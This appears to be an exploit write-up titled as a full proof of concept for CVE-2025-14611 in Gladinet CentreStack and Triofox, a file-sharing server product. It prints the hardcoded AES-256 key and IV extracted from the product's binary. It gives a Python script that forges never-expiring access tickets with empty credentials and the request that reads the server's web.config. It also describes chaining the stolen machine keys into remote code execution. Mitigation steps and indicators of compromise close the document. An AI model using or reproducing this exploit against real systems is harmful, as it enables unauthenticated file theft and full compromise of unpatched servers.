## https://sploitus.com/exploit?id=9112F5B7-905E-54CD-857F-E4D38333D040
# CVE-2025-14611 CentreStack and Triofox full Poc/Exploit
## Summary
This vulnerability arises from hardcoded cryptographic keys in Gladinet CentreStack and Triofox products, enabling arbitrary file read through forged access tickets. The AES-256 encryption implementation uses static, unchanging keys embedded directly in the application binary (GladCtrl64.dll), allowing any attacker who extracts these keys to:
1. Decrypt legitimate access tickets to understand internal file paths and system configuration
2. Forge malicious access tickets with never-expiring timestamps to read arbitrary files on the server
3. Bypass authentication by leaving username and password fields empty, causing the application to fall back to the IIS Application Pool Identity
4. Chain this vulnerability with CVE-2025-30406 (ViewState deserialization) to achieve remote code execution
The vulnerability affects all Gladinet CentreStack and Triofox versions prior to 16.12.10420.56791 and has been actively exploited in the wild since at least November 2025.
## Analysis
### 1. Key Generation and Storage
The vulnerability begins with how cryptographic keys are generated and stored in `GladCtrl64.dll`. The `GenerateSecKey` and `GenerateSecKey1` functions are responsible for providing the AES encryption key and initialization vector (IV).
**Key Generation Flow:**
When the CentreStack server application starts, the `SysKeyMgr` class calls `AccessKeyMgr64.GetSysEncKey`, which invokes `GenerateSecKey` located in `GladCtrl64.dll`. This function:
```c
PSTR sub_180001000(wchar16* arg1)
{
int32_t cbMultiByte = WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0,
lpWideCharStr: arg1, cchWideChar: 0xffffffff, lpMultiByteStr: nullptr,
cbMultiByte: 0, lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr);
if (cbMultiByte != 0) {
PSTR lpMultiByteStr = sub_1800012e0(sx.q(cbMultiByte + 2));
if (lpMultiByteStr != 0) {
if (WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0, lpWideCharStr: arg1,
cchWideChar: 0xffffffff, lpMultiByteStr, cbMultiByte,
lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr) != 0)
return lpMultiByteStr;
sub_180001290(lpMultiByteStr);
}
}
return nullptr;
}
```
The function converts UTF-16LE encoded strings to UTF-8 using Windows API `WideCharToMultiByte` with code page 0xfde9 (UTF-8). The source data is stored at two static memory locations:
- **Key Source (0x18000c000):** A 100-byte UTF-16LE string containing Chinese text
- **IV Source (0x18000c2c0):** A 100-byte UTF-16LE string beginning with "moDriv" followed by Japanese text
**Critical Finding:** These strings never change across any installation of the software. The `GenerateSecKey` function name is misleading—it doesn't generate keys dynamically but simply returns pre-existing static strings from the binary.
### 2. The Hardcoded Keys
Through reverse engineering analysis, the hardcoded keys were extracted from the `.data` section of `GladCtrl64.dll`:
**Memory at 0x18000c000 (Key Source):**
```
0d 4e c7 8f 0c ff 03 8c e5 67 5f 4e 3e 66 3a 79
0c ff e5 65 2c 67 01 30 a6 7e e6 65 01 30 e5 4e
72 82 17 52 8c 54 ce 9e f4 5d e9 5a 49 7b fd 56
84 76 d7 53 03 8c e5 67 05 80 27 59 1a 59 a4 8b
...
```
When decoded from UTF-16LE to UTF-8, this produces Chinese text:
```
不过，调查也显示，日本、约旦、以色列和黎巴嫩等国的受调查者大多认为美国仍将保持自己的超级大国地位...
```
**Memory at 0x18000c2c0 (IV Source):**
```
6d 6f 44 72 69 76 65 00 // "moDriv" in ASCII/UTF-16LE
65 00 6f 30 01 30 c9 30 e9 30 a4 30 d6 30 68 30
57 30 66 30 de 30 a6 30 f3 30 c8 30 67 30 4d 30
...
```
When decoded, this produces:
```
moDriveは、ドライブとしてマウントできるので、フォルダコピー感覚で使えて超快適だが...
```
**Final Cryptographic Keys:**
The application uses the first 32 bytes of the UTF-8 encoded Key Source as the AES-256 key, and the first 16 bytes of the UTF-8 encoded IV Source as the initialization vector:
```
AES-256 Key: e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c
AES IV: 6d6f4472697665e381afe38081e38389
```
### 3. The Vulnerable File Download Handler
The vulnerability is exploited through the `filesvr.dn` HTTP handler, which is mapped to `GladinetStorage.FileDownloadHandler` class. This handler processes encrypted access tickets passed via the `t` query parameter.
**Access Ticket Structure:**
Access tickets are newline-separated fields encrypted with AES-256-CBC:
```
Line 0: Filepath (absolute path on server)
Line 1: Username (Windows account to impersonate)
Line 2: Password (credentials for that account)
Line 3: Timestamp (ticket creation time)
```
**The Decryption Process:**
1. The handler receives the `t` parameter and performs custom sanitization, swapping URL-safe characters (`:` → `+`, `|` → `/`)
2. The value is Base64 decoded to obtain the ciphertext
3. `AccessTicket.Decrypt` is called, which retrieves the static `SysKey` (first 32 bytes) and `SysKey1` (first 16 bytes)
4. An AES-256-CBC cipher is configured with these keys
5. The ticket is decrypted and parsed
**Timestamp Validation Bypass:**
The handler compares the ticket timestamp to the current server time. If the ticket is older than 4 hours, it's rejected. However, attackers can set the timestamp to year 9999, creating a ticket that never expires:
```
9999-11-27 14:52:04.009217
```
This creates a persistent backdoor that can be reused indefinitely.
### 4. Authentication Bypass Through Empty Credentials
After decryption, the handler extracts the Username and Password fields and attempts to initialize an impersonation context. **Critical vulnerability:** When both fields are empty strings, the impersonation logic fails and falls back to the IIS Application Pool Identity.
This allows unauthenticated arbitrary file read, as the application runs with elevated privileges but requires no valid credentials.
**Example Malicious Ticket:**
```
C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[empty]
[empty]
9999-11-27 14:52:04.009217
```
### 5. Exploitation in the Wild
Active exploitation has been observed since November 2025. Attackers follow this pattern:
**Step 1: Forge Access Ticket**
Using the extracted keys, attackers create encrypted tickets targeting `web.config`:
```python
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64
AES_KEY = bytes.fromhex('e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c')
AES_IV = bytes.fromhex('6d6f4472697665e381afe38081e38389')
ticket = "C:\\Program Files (x86)\\Gladinet Cloud Enterprise\\root\\web.config\n\n\n9999-11-27 14:52:04.009217"
cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
ciphertext = cipher.encrypt(pad(ticket.encode('utf-8'), 16))
b64 = base64.b64encode(ciphertext).decode('ascii')
url_safe = b64.replace('+', ':').replace('/', '|')
```
**Step 2: Send Malicious Request**
The forged ticket is sent to the vulnerable endpoint:
```
GET /storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2... HTTP/1.1
Host: vulnerable-server.com
```
**Step 3: Extract Machine Keys**
The response contains the `web.config` file with machine keys:
```xml
```
**Step 4: Chain with CVE-2025-30406**
These machine keys enable ViewState deserialization attacks, leading to remote code execution. Attackers craft malicious ViewState payloads signed with the extracted keys, achieving full system compromise.
### 6. Real-World Attack Example
From observed exploitation attempts (December 2025):
**Encrypted Ticket from Attacker:**
```
vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m:ZDplEYEsO5ksZajiXcsumkDyUgpV5VLxL|372varAu
```
**Decrypted Content:**
```
C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[empty]
[empty]
9999-11-27 14:52:04.009217
```
**Attack Source:** IP address 147.124.216[.]205
**Target Organizations:** 9 confirmed victims across healthcare, technology, and professional services sectors
**Attack Timeline:** Initial exploitation attempts in November 2025, escalating in December 2025
## Conclusion
CVE-2025-14611 represents a critical failure in cryptographic key management. By embedding static, unchanging keys directly in the application binary, Gladinet created a universal skeleton key that works across all installations. This vulnerability demonstrates several severe security failures:
1. **Hardcoded Cryptography:** Using static keys eliminates any security benefit of encryption
2. **Authentication Bypass:** Empty credential handling allows unauthenticated access
3. **Never-Expiring Tickets:** Far-future timestamps create persistent backdoors
4. **Exploit Chaining:** Combined with CVE-2025-30406, this enables full system compromise
**Mitigation Recommendations:**
- **Immediate:** Update to CentreStack/Triofox version 16.12.10420.56791 or later
- **Critical:** Rotate machine keys in `web.config` after patching
- **Defense:** Monitor IIS logs for access to `/storage/filesvr.dn` with suspicious `t` parameters
- **Detection:** Search logs for the indicator: `vghpI7EToZUDIZDdprSubL3mTZ2` (encrypted representation of web.config path)
- **Network:** Block inbound access to CentreStack from untrusted networks
**Indicator of Compromise:**
Any HTTP request containing:
```
/storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2
```
This substring uniquely identifies attempts to exploit this vulnerability for web.config retrieval.